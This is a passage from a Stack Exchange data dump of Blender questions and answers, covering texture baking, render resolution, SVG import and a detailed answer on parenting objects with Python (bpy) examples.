False&#xA;bpy.ops.object.delete()&#xA;wm.progress_end()&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way to catch Boolean modifier error in python and skip meshes which produce those errors?&lt;/p&gt;&#xA;" OwnerUserId="12665" LastEditorUserId="3078" LastEditDate="2015-02-21T18:23:47.567" LastActivityDate="2015-05-28T18:48:24.333" Title="Python modifier error handling" Tags="&lt;python&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26099" PostTypeId="2" ParentId="3390" CreationDate="2015-02-21T18:16:29.093" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;Download the &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/3D_interaction/Materials_Utils&quot; rel=&quot;nofollow noreferrer&quot;&gt;Material Utilities&lt;/a&gt; addon&lt;/li&gt;&#xA;&lt;li&gt;Select all objects with &lt;kbd&gt;A&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Access Material Utilities &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Q&lt;/kbd&gt;. Select &quot;&lt;em&gt;Select by Material&lt;/em&gt;&quot;.&lt;/li&gt;&#xA;&lt;li&gt;Choose the material you want to select by&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12728" LastEditorUserId="-1" LastEditDate="2017-01-18T22:25:32.027" LastActivityDate="2017-01-18T22:25:32.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26100" PostTypeId="1" CreationDate="2015-02-21T18:56:59.397" Score="1" ViewCount="862" Body="&lt;p&gt;I'm new to Blender and I'm trying to bake my model. I watched a lot of tutorials and I think I'm ready to do it.&#xA;Wha't I'm doing is here working with blender internal:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;create uv map&lt;/li&gt;&#xA;&lt;li&gt;resize textures in the uv editor&lt;/li&gt;&#xA;&lt;li&gt;change the EWA filter size to 0.1 in the texture tab -&gt; image sampling. This will render the model in a better way without blur effect&lt;/li&gt;&#xA;&lt;li&gt;bake my textures&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But when I import the model in other softwares (using obj format) I have a blurry model, even if I reduced the EWA filter.&#xA;I tried a lot of parameters but the result is always blurry.&#xA;This is strange because changing the EWA filter give me a good result in rendering view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe the problem is the size of UV Map? I did also an image of 10'000 pixel square but the result didn't change. I tried also with little uv map like 1024 px.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here some screenshots:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender Rendered View with EWA filter set default = 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y1Ivb.png&quot; alt=&quot;Blender Rendered View with EWA filter set default = 1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender Rendered View with EWA filter set to minimum = 0.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2P7kx.png&quot; alt=&quot;Blender Rendered View with EWA filter set to minimum = 0.1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Exported model with baked texture : the result is blurry as before the modification of EWA filter&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pZO0h.png&quot; alt=&quot;Exported model with baked texture : the result is blurry as before the modification of EWA filter&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to obtain a baked textures result as in the second image with EWA = 0.1&lt;/p&gt;&#xA;" OwnerUserId="12729" LastEditorUserId="2217" LastEditDate="2015-02-21T19:11:51.473" LastActivityDate="2015-02-21T19:11:51.473" Title="Baked texture blurry" Tags="&lt;blender-internal-render-engine&gt;&lt;image&gt;&lt;texture-baking&gt;&lt;blur&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26102" PostTypeId="1" AcceptedAnswerId="26104" CreationDate="2015-02-21T20:33:10.453" Score="4" ViewCount="337" Body="&lt;p&gt;I'm trying to achieve a specific effect based on the idea of the famous Escher &quot;Hand with Reflecting Sphere&quot; image, but instead of reflecting a modeled environment, I want it to reflect a real image of myself holding the sphere. I first saw this effect 25 years ago in the video The Mind's Eye, which contained a part an animation called &quot;Prime Corporate Video&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see specific part of that video here:&#xA;&lt;a href=&quot;http://www.youtube.com/watch?v=GP2g4uprgx4&amp;amp;t=4m3s&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.youtube.com/watch?v=GP2g4uprgx4&amp;amp;t=4m3s&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've always wondered exactly how that animation was made since I first saw it 25 years ago. The animation was made in 1986 so I don't think the hand in the video was rendered, so maybe raytracing wasn't even the technique used and it was just some photography/greenscreen trick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either way, I've been trying to reproduce a scene like this and haven't figured it out. I usually end up with image mapping issues like circular regions that look distorted and the sphere reflecting part of the background instead of only the real image.  I'm wondering if maybe I have to use some tricks with render layers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is an example of what I've been able to produce using a world background image using &quot;Object&quot; Texture coordinates that have been vector mapped 0.5 xyz location, rotated -90 on X and scaled x 0.3 and y -3.9. The background is just an image on a plane sitting behind the sphere.  This is all done using nodes in Cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HoMrl.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1756" LastActivityDate="2015-02-21T23:02:30.050" Title="Achieve Escher holding sphere, but with real image" Tags="&lt;texturing&gt;&lt;nodes&gt;&lt;mirror&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="26104" PostTypeId="2" ParentId="26102" CreationDate="2015-02-21T22:52:05.777" Score="3" Body="&lt;p&gt;Do compositing using a lens distortion node to give a bit of sphere effect on your image, add this to your rendered glossy sphere with modeled arm with the sphere objectID as factor/mask&#xA;&lt;img src=&quot;https://i.stack.imgur.com/FRdLS.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the render of the sphere and hand has to use a black background (because you'll add your reflection) and also you have to check tranparent in render settings/film options&lt;/p&gt;&#xA;" OwnerUserId="11431" LastEditorUserId="11431" LastEditDate="2015-02-21T23:02:30.050" LastActivityDate="2015-02-21T23:02:30.050" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26105" PostTypeId="1" AcceptedAnswerId="26106" CreationDate="2015-02-21T23:29:12.677" Score="0" ViewCount="5849" Body="&lt;p&gt;I've slowly been getting better at blender but one thing that annoys me a lot is that when i press F12 to render my scene, well, it's all pixelated. &#xA;Examles: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this here is something i was testing out, and this is when i press Shift+Z&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dsJxR.jpg&quot; alt=&quot;Picture of my test, fine, no pixelation.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So that's fine and all but then i go to F12 and i get this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/tvJ8I.png&quot; alt=&quot;Using F12, pixelated&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, i have read other peoples posts, and they call say &quot;duplicate&quot; and they all have answers, now honestly it annoys me that none of them have a good answer that actually would aid this. I've read all the things i could find, and some of the &quot;Similar questions&quot; and some people have the same problem as me, but i doubt there is nothing i can do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TL;DR Want to make my renders not pixelated so i can make the low-poly scenes i've been making better. So i can actually zoom in without seeing pixels.&lt;/p&gt;&#xA;" OwnerUserId="11237" LastActivityDate="2015-02-21T23:41:35.693" Title="Blender rendering quality pixelated" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="4" ClosedDate="2015-02-22T01:06:03.977" ContentLicense="CC BY-SA 3.0" />
  <row Id="26106" PostTypeId="2" ParentId="26105" CreationDate="2015-02-21T23:41:35.693" Score="2" Body="&lt;p&gt;looks like a low res zoomed image. check your render resolution, X, Y and %. a 1000x1000 render at 25% gives a 250x250 image. Aspect ratio has to be 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/D9SXE.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-02-21T23:41:35.693" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="26107" PostTypeId="1" CreationDate="2015-02-22T00:19:50.347" Score="2" ViewCount="141" Body="&lt;p&gt;I've recently downloaded a rigged 3D model but the character's arms are too long. How do I change the size of the arm/bones?&lt;/p&gt;&#xA;" OwnerUserId="12733" LastEditorUserId="2217" LastEditDate="2015-02-22T00:26:16.673" LastActivityDate="2015-02-22T00:26:16.673" Title="Change Bone/Arm length on a rigged model" Tags="&lt;transforms&gt;&lt;bones&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26108" PostTypeId="1" AcceptedAnswerId="26109" CreationDate="2015-02-22T00:28:00.140" Score="59" ViewCount="73863" Body="&lt;p&gt;I'm looking for a way to have two separate objects be connected, so that when I move the first object the second one will move also. The term parent is used, but how do I parent a object?&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2018-07-11T10:26:16.683" Title="How do I &quot;parent&quot; objects?" Tags="&lt;objects&gt;&lt;parent&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="15" ContentLicense="CC BY-SA 3.0" />
  <row Id="26109" PostTypeId="2" ParentId="26108" CreationDate="2015-02-22T00:28:00.140" Score="95" Body="&lt;p&gt;For a quick and simple answer, select the object that will be connected (child object) first, then select the object that will transfer transformation data to the child object (parent object). The selection order is important, the parent object must be selected last so that it is the &lt;a href=&quot;https://blender.stackexchange.com/a/21050/2217&quot;&gt;active object&lt;/a&gt;. Now press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt; &amp;gt; &lt;em&gt;Object&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;There are many ways to &lt;a href=&quot;https://docs.blender.org/manual/en/dev/editors/3dview/object/properties/relations/parents.html&quot; rel=&quot;noreferrer&quot;&gt;parent&lt;/a&gt; objects in blender. You can parent objects from five different windows: The 3D view, Properties Editor, Outliner, Text Editor and Console; plus there is a daunting list of different parent types.&lt;br /&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/P9TLM.png&quot; alt=&quot;list of all parent options&quot; /&gt;&lt;br /&gt;&#xA;It seams that parenting is a complex ordeal, so let me try to simplify it.&lt;br /&gt;&#xA;Out of that large list, there really only are three types of parenting. Those are &lt;em&gt;Object&lt;/em&gt;, &lt;em&gt;Armature&lt;/em&gt;, and &lt;em&gt;Vertex&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;h1&gt;The differences in the many parenting types&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Object&lt;/em&gt; Is by far the most common type of parent. It is used in eight of the thirteen parenting types.&lt;br /&gt;&#xA;Any time two or more objects are selected the object parenting type is available. Any translation (scale rotation, and location) to the parent object will effect the child.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Armature Deform&lt;/em&gt; This is arguably the most complicated group of parenting types. Armature Deform is only available when the active object is a Armature. It sets a &lt;em&gt;Object&lt;/em&gt; parent, with the selected object as the child, and the active object (the armature) as the parent. It adds a &lt;em&gt;Armature&lt;/em&gt; modifier to the child object, with the armature already set as the modifier's target Object. At this point it will do nothing more then a regular object parent. The three sub options &lt;em&gt;Empty Groups&lt;/em&gt;, &lt;em&gt;Automatic Weights&lt;/em&gt; and &lt;em&gt;Envelop Weights&lt;/em&gt; are used in the rigging process.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Bone&lt;/em&gt; Is only available when the active object is a Armature. Is exactly the same as a object parent, but here the child is transformed from a single bone.&lt;br /&gt;&#xA;In the picture below I positioned the ring around the finger, then &lt;kbd&gt;Shift&lt;/kbd&gt; selected the armature. With the armature now as the active object you can go in to &lt;em&gt;Pose&lt;/em&gt; mode and select the proper bone. Finally  parent the object to the bone, with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt; &amp;gt; &lt;em&gt;Bone&lt;/em&gt;.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/OqeCK.png&quot; alt=&quot;example usage of the Bone parent type&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Bone Relative&lt;/em&gt; Is the same as bone with the difference that any changes made in edit mode to the parent bone will not effect the child object.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Curve Deform&lt;/em&gt; Is only available when the active object is a curve object (Bezier or Nurbs curve). It sets a &lt;em&gt;Object&lt;/em&gt; parent, with the selected object as the child, and the active object (the curve) as the parent. It adds a &lt;em&gt;Curve&lt;/em&gt; modifier to the child object with the curve already set as the modifier's target Object.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Follow Path&lt;/em&gt; again is only available when the active object is a curve object. Is sets a &lt;em&gt;Object&lt;/em&gt; parent, same as the Curve Deform does. It also animates the &lt;em&gt;Evaluation Time&lt;/em&gt; for the &lt;em&gt;Path Animation&lt;/em&gt; on the curve object.&lt;br /&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/dE9jx.png&quot; alt=&quot;properties window showing the curve tab with Evaluation Time highlighted&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Path Constraint&lt;/em&gt; Is the last option only available for curve objects.  It does not set any parents, instead it adds a  &lt;em&gt;Follow Path&lt;/em&gt; constraint to the selected object with the constraint's target as the active object (the curve).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Lattice Deform&lt;/em&gt; Is a special option that is only available when the active object is a lattice. It sets the lattice as the parent and the selected object as the child, plus it adds a Lattice modifier to the selected object.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Vertex&lt;/em&gt; This is one of the three main parenting types. It differs from a object parent in that only location information is given to the child. It is the location of the vertex that is the parent. The parent object does not have to move, but a modifier can change the position of the vertex, the child object will move.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Vertex (Triangle)&lt;/em&gt; At first glance it may appear the same as a object parent but rather it is the exact same thing as a vertex parent, except now there are 3 vertices. From throes three vertices the child now gets location, scale, and rotation same as in a object parent; with the benefit of tracking the vertices.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h1&gt;The 3D view&lt;/h1&gt;&#xA;&lt;p&gt;The most common way to parent objects is in the 3D view with two or more objects selected, press &lt;kbd&gt;Crtl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt; &amp;gt; &lt;em&gt;Object&lt;/em&gt;. Note that the parent is the &lt;a href=&quot;https://blender.stackexchange.com/a/21050/2217&quot;&gt;active object&lt;/a&gt; and the child is the selected object. This is the same as Using the menu in the 3D view header &lt;em&gt;Object &amp;gt; Parent &amp;gt; Object&lt;/em&gt;.&#xA;Child parent relation ships are represented in the 3D view by a small dashed line connecting the objects origins.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Q3mZ0.png&quot; alt=&quot;Setting parent via shortcut in 3D view&quot; /&gt;&lt;br /&gt;&#xA;Here the cube and the monkey have already been Object parented. The cube is the parent (active object) and the monkey is the child.&lt;/p&gt;&#xA;&lt;h1&gt;The Outliner&lt;/h1&gt;&#xA;&lt;p&gt;The outliner is great because there is no confusion with the active object, or which way the parent is going. You simply drag the icon of the desired child object, and drop it on top of the desired parent object.  If there is more then one option for parenting, blender will ask you which you would like to use.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/qUBlA.gif&quot; alt=&quot;animated gif showing the parenting process in the outliner&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;The Properties window&lt;/h1&gt;&#xA;&lt;p&gt;You can simply choose the object that will be the parent. Using this method the active object is always the &lt;strong&gt;child&lt;/strong&gt;.&lt;br /&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/zqEbb.png&quot; alt=&quot;properties editor object tab parent setting highlighted&quot; /&gt;&lt;br /&gt;&#xA;However parenting objects using this method results in very different results from the 3D view or outliner.&lt;br /&gt;&#xA;In the image below both the cube and the cone are in the exact same place, and have no rotation or scale. The left side is how both looked before any parenting. I parented the cube to the cone in both the center and the right side. The center is parented through the 3D view, and the right I used the field in the properties window.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/mf6Uw.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mf6Uw.png&quot; alt=&quot;difference between the different parenting options&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&#xA;The difference comes from the different python commands (more on that in the python section).&#xA;What is important is when using the field in the properties window, the child object's distance from the world origin (0,0,0) becomes the offset from the parent. That is shown in the image above by the cube being 4 units along the X axis of the cone.&lt;/p&gt;&#xA;&lt;h1&gt;Python&lt;/h1&gt;&#xA;&lt;p&gt;The last two places you can parent objects are the &lt;em&gt;Text Editor&lt;/em&gt; and the &lt;em&gt;Console&lt;/em&gt;. Both of those give access to parenting directly via python. The two parenting commands are&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;bpy.ops.object.parent_set()&lt;/code&gt; and &lt;code&gt;bpy.data.objects['child'].parent = bpy.data.objects['parent']&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;This script will parent just like the 3D view.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;bpy.data.objects['child'].select = True&#xA;bpy.data.objects['parent'].select = True&#xA;&#xA;bpy.context.scene.objects.active = bpy.data.objects['parent']&#xA;&#xA;bpy.ops.object.parent_set()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;However this line of code&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.objects['child'].parent = bpy.data.objects['parent']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;will parent the same as using the properties window. The reason being that the properties window runs &lt;code&gt;bpy.context.object.parent = bpy.data.objects['parent']&lt;/code&gt;, but everywhere else blender uses &lt;code&gt;parent_set()&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;However you can avoid using &lt;code&gt;bpy.ops.object.parent_set()&lt;/code&gt; and have the child object remain in it's position after parenting. To do that you will have to explicitly set the child's &lt;code&gt;matrix_parent_inverse&lt;/code&gt; to the inverse world matrix of the parent. See the code below:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;parent = bpy.data.objects.get(&amp;quot;parent&amp;quot;)&#xA;child = bpy.data.objects.get(&amp;quot;child&amp;quot;)&#xA;if child:&#xA;    child.parent = parent&#xA;    if parent:&#xA;        child.matrix_parent_inverse = parent.matrix_world.inverted()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;Other options&lt;/h1&gt;&#xA;&lt;p&gt;There are two other way of getting the same type of relationship as an object parent, those two are the &lt;a href=&quot;https://docs.blender.org/manual/en/dev/rigging/constraints/relationship/child_of.html&quot; rel=&quot;noreferrer&quot;&gt;Child Of Constraint&lt;/a&gt; and the &lt;a href=&quot;https://docs.blender.org/manual/en/dev/game_engine/logic/actuators/types/parent.html&quot; rel=&quot;noreferrer&quot;&gt;Parent Actuator&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h3&gt;Child Of Constraint&lt;/h3&gt;&#xA;&lt;p&gt;The Child Of Constraint works the same as an object parent, with the added benefit that comes with being a constraint: animatible, multiple parents on the same object, affecting only certain transforms, and affecting only certain axes.&lt;br /&gt;&#xA;As noted in the manual after specifying the target object, you will probably want to press the &lt;em&gt;&amp;quot;Set Inverse&amp;quot;&lt;/em&gt; button in the constraint (this goes back to same thing as the difference in the parent from the proprieties window vs the 3D view). Now you have a object that will behave just like the child object in an object parent.&lt;br /&gt;&#xA;One quirk with the constraint, is that if you select both the child and the parent objects and move them, the movement on the child will be compound, meaning it will move twice as fast as the parent. After the movement you simply press the &lt;em&gt;&amp;quot;Set Inverse&amp;quot;&lt;/em&gt; button again, to bring the child back to the correct location.&lt;br /&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/R3OOi.gif&quot; alt=&quot;animated gif showing the Child Of Constraint&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;My favorite feature of the child of constraint is that you can influence only certain transforms. That is demonstrated in the gif above.&lt;/p&gt;&#xA;&lt;h3&gt;Parent Actuator&lt;/h3&gt;&#xA;&lt;p&gt;The Parent Actuator, being a logic brick, only works in the game engine.  It does the exact same thing as a regular object parent.  While regular parenting works in the game engine (there are some &lt;a href=&quot;https://blender.stackexchange.com/a/34259/2217&quot;&gt;quirks&lt;/a&gt;). The parent actuator gives the benefit that the parent can be dynamically controlled in game, via logic bricks or python.&lt;/p&gt;&#xA;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2018-02-06T09:25:35.080" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26111" PostTypeId="1" AcceptedAnswerId="26114" CreationDate="2015-02-22T01:21:13.250" Score="5" ViewCount="1734" Body="&lt;p&gt;What does 'Clear Origin' (&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;O&lt;/kbd&gt;) do? Someone mentioned it on our general chat.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="241" LastEditDate="2015-02-22T16:06:22.087" LastActivityDate="2017-06-20T17:08:38.680" Title="What does 'Clear Origin' (Alt-O) do in the 3d view?" Tags="&lt;3d-view&gt;&lt;shortcut&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26112" PostTypeId="1" CreationDate="2015-02-22T01:24:17.813" Score="0" ViewCount="271" Body="&lt;p&gt;Blender will not import my svg image. I'm using inkscape and I made sure to use plain svg.&lt;/p&gt;&#xA;" OwnerUserId="12736" LastActivityDate="2015-02-22T02:27:06.080" Title="Blender will not import my svg in version 2.73" Tags="&lt;import&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2015-02-22T02:25:20.530" ContentLicense="CC BY-SA 3.0" />
  <row Id="26114" PostTypeId="2" ParentId="26111" CreationDate="2015-02-22T01:29:33.723" Score="8" Body="&lt;p&gt;Select a child object of a parent, and press &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;O&lt;/kbd&gt; (that is the letter O). It will move the child to the parent, while still keeping the parent relationship intact. The name Blender uses is &amp;quot;clear its origin&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9XwnI.gif&quot; alt=&quot;animated gif showing the parenting and clearing the child's origin&quot; /&gt;&lt;/p&gt;&#xA;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2017-06-20T17:08:38.680" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26115" PostTypeId="2" ParentId="26111" CreationDate="2015-02-22T01:32:10.350" Score="4" Body="&lt;p&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;O&lt;/kbd&gt; is ambiguous as it performs a different action depending on which view area you are in. In the 3d view, you can use it to clear the object origin, in the text editor, use it to open a text block, in the sequencer it clears strip offsets etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To see the full list, search by &lt;em&gt;Key-Binding&lt;/em&gt; for &lt;em&gt;Alt O&lt;/em&gt; under &lt;em&gt;Input&lt;/em&gt; in user preferences.&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2015-02-22T01:32:10.350" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26116" PostTypeId="1" CreationDate="2015-02-22T01:53:21.773" Score="4" ViewCount="2859" Body="&lt;p&gt;Suppose you have a mesh; you go into Edit mode, &#xA;set Transform Orientation to Normal, &#xA;show 3D manipulator widget,&#xA;Pivot Point = Active Element,&#xA;face select mode, and then you select any one face:&#xA;immediately you will see a blue arrow representing the face normal,&#xA;and also a red and a green arrow representing the face's tangent and bitangent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the most straightforward way to refer &#xA;to said tangent and bitangent vectors from a Python script?&#xA;The API documentation confuses me with loops and uv's, yet, clearly,&#xA;Blender assigns a tangent and bitangent to each face without hesitation!&lt;/p&gt;&#xA;" OwnerUserId="11585" LastActivityDate="2015-02-22T16:09:51.513" Title="Script access to tangent and bitangent, per face: how?" Tags="&lt;python&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26117" PostTypeId="2" ParentId="26112" CreationDate="2015-02-22T02:18:26.403" Score="1" Body="&lt;p&gt;The SVG format can contain three types of graphic objects: vector graphics, raster graphics (bitmap images), and text. Blender's SVG importer can &lt;strong&gt;only deal with vectors (paths)&lt;/strong&gt;. So make sure you've traced your images as paths otherwise they will not load in Blender.&#xA;In Inkscape use main menu -&gt; path -&gt; trace bitmap or press shift+alt+b &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read: &lt;a href=&quot;https://blender.stackexchange.com/questions/23170/why-cant-i-import-a-svg-file-from-adobe-illustrator&quot;&gt;Why can&amp;#39;t I import a SVG file from Adobe Illustrator or Inkscape?&lt;/a&gt; and &lt;a href=&quot;https://blender.stackexchange.com/questions/8016/imported-svg-files-does-not-show-up&quot;&gt;Imported .svg files does not show up&lt;/a&gt; and &lt;a href=&quot;https://blender.stackexchange.com/questions/23105/why-wont-blender-let-me-import-svg-files&quot;&gt;Why won&amp;#39;t Blender let me import .svg files?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2015-02-22T02:27:06.080" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26118" PostTypeId="1" AcceptedAnswerId="26136" CreationDate="2015-02-22T04:56:58.780" Score="1" ViewCount="785" Body="&lt;p&gt;This is what my baked AO texture looks like (not in all places -- for most faces it looks fine):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kTCHW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the cause of this?  What can I do to resolve it?  I do not have any overlapping UVs and my mesh is manifold.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the mesh if you would like to take a look: &lt;a href=&quot;http://pasteall.org/blend/34604&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://pasteall.org/blend/34604&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you all for your help!&lt;/p&gt;&#xA;" OwnerUserId="12739" LastEditorUserId="12739" LastEditDate="2015-02-22T18:15:29.380" LastActivityDate="2015-02-22T20:58:56.837" Title="AO Bake has random black pixels on some faces" Tags="&lt;uv&gt;&lt;baking&gt;" AnswerCount="1" CommentCount="5" ClosedDate="2015-02-22T23:41:28.977" ContentLicense="CC BY-SA 3.0" />
  <row Id="26119" PostTypeId="1" CreationDate="2015-02-22T06:27:06.400" Score="1" ViewCount="40" Body="&lt;p&gt;I am creating an online shooting game. How do i control my armature arm with mouse like other online games? So the gun will always shoot to the middle of the target. Previously, I successfully done that by seperating the arms and the arms armature and use game logic to set mouse actuator on it.But i just changed my rig to improve the movement . I tried the same method but it didn't work. Here is the file. &lt;a href=&quot;http://www.mediafire.com/download/rpvgidxbadd517s/Sample.blend&quot; rel=&quot;nofollow&quot;&gt;http://www.mediafire.com/download/rpvgidxbadd517s/Sample.blend&lt;/a&gt;&#xA;Really hope you can help me with it. Been struggling with this for the whole day.&lt;/p&gt;&#xA;" OwnerUserId="11643" LastActivityDate="2015-02-22T06:27:06.400" Title="Blender game engine Armature mouse control" Tags="&lt;rendering&gt;&lt;game-engine&gt;&lt;rigging&gt;&lt;armature&gt;" AnswerCount="0" CommentCount="0" ClosedDate="2015-02-22T16:36:25.637" ContentLicense="CC BY-SA 3.0" />
